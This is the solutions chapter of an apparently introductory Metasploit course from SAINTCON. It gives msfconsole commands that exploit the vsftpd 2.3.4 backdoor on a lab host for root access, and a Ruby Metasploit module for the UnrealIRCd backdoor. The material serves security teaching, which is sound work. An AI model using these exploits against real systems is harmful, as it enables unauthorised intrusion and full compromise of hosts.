Chapter 3

Solutions to Exercises

In this chapter I show my solutions to the exercises from the previous chapters.

3.1 Chapter 1

A possible solution is:

1. `msf6 > nmap -p21 -sV 10.0.2.4`

2.
```
msf6 > search vsfptd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
```

3. `msf6 > set RHOST 10.0.2.4`

4. `msf6 > run`

   > **Warning**
   >
   > Even though the exploit is successful and we get remote code execution, we do not get a prompt.

5. `id`

6. The user is already root

3.2 Chapter 2

A possible solution is:

```ruby
class MetasploitModule < Msf::Exploit::Remote

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
      super (update_info(info,
        'Name' => 'UnrealIRC balcdoor - SAINTCON',
        'Description' => %q{This module was created as an exercise for Metasploit 101 at SAINTCON},
        'Author' => ['SGO'],
        'License' => MSF_LICENSE,
        'Platform' => ['unix'],
        'Targets' => [ [ 'Automatic', { } ] ]
      ))
    end

    def exploit
      connect

      sock.put("AB;" + payload.encoded + "\n")

      1.upto(120) do
        break if session_created?
        select(nil, nil, nil, 0.25)
        handler()
      end
      disconnect
    end
  end
```